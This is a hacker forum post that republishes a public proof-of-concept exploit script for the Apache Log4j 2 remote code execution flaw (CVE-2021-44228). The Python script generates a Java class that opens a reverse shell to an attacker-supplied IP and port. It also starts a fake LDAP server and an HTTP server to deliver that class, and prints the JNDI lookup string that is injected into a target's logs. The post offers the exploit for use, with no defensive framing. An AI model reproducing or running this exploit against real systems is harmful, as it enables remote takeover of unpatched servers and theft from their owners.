Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Apache Log4j 2 - Remote Code Execution (RCE)

 Share


Recommended Posts

# Exploit Title: Apache Log4j 2 - Remote Code Execution (RCE)
# Date: 11/12/2021
# Exploit Authors: kozmer, z9fr, svmorris
# Vendor Homepage: https://logging.apache.org/log4j/2.x/
# Software Link: https://github.com/apache/logging-log4j2
# Version: versions 2.0-beta-9 and 2.14.1.
# Tested on: Linux
# CVE: CVE-2021-44228
# Github repo: https://github.com/kozmer/log4j-shell-poc

import subprocess
import sys
import argparse
from colorama import Fore, init
import subprocess
import threading

from http.server import HTTPServer, SimpleHTTPRequestHandler

init(autoreset=True)

def listToString(s):
str1 = ""
try:
for ele in s:
str1 += ele
return str1
except Exception as ex:
parser.print_help()
sys.exit()

def payload(userip , webport , lport):

genExploit = (
"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Exploit {

public Exploit() throws Exception {
String host="%s";
int port=%s;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}
""") % (userip, lport)

# writing the exploit to Exploit.java file

try:
f = open("Exploit.java", "w")
f.write(genExploit)
f.close()
print(Fore.GREEN + '[+] Exploit java class created success')

except Exception as e:
print(Fore.RED + f'[-] Something went wrong {e.toString()}')

checkJavaAvailible()
print(Fore.GREEN + '[+] Setting up fake LDAP server\n')

# create the LDAP server on new thread
t1 = threading.Thread(target=createLdapServer, args=(userip,webport))
t1.start()

# start the web server

httpd = HTTPServer(('localhost', int(webport)), SimpleHTTPRequestHandler)
httpd.serve_forever()

def checkJavaAvailible():
javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version'], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
if(javaver != 0):
print(Fore.RED + '[-] Java is not installed inside the repository ')
sys.exit()

def createLdapServer(userip, lport):
sendme = ("${jndi:ldap://%s:1389/a}") % (userip)
print(Fore.GREEN +"[+] Send me: "+sendme+"\n")

subprocess.run(["./jdk1.8.0_20/bin/javac", "Exploit.java"])

url = "
http://{}:{}/#Exploit".format
(userip, lport)
subprocess.run(["./jdk1.8.0_20/bin/java", "-cp",
"target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", url])

def header():
print(Fore.BLUE+"""
[!] CVE: CVE-2021-44228
[!] Github repo:
https://github.com/kozmer/log4j-shell-poc
""")

if __name__ == "__main__":
header()

try:
parser = argparse.ArgumentParser(description='please enter the values ')

parser.add_argument('--userip', metavar='userip', type=str,
nargs='+', help='Enter IP for LDAPRefServer & Shell')

parser.add_argument('--webport', metavar='webport', type=str,
nargs='+', help='listener port for HTTP port')

parser.add_argument('--lport', metavar='lport', type=str,
nargs='+', help='Netcat Port')

args = parser.parse_args()

#print(args.userip)

payload(listToString(args.userip), listToString(args.webport), listToString(args.lport))

except KeyboardInterrupt:
print(Fore.RED + "user interupted the program.")
sys.exit(0)
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...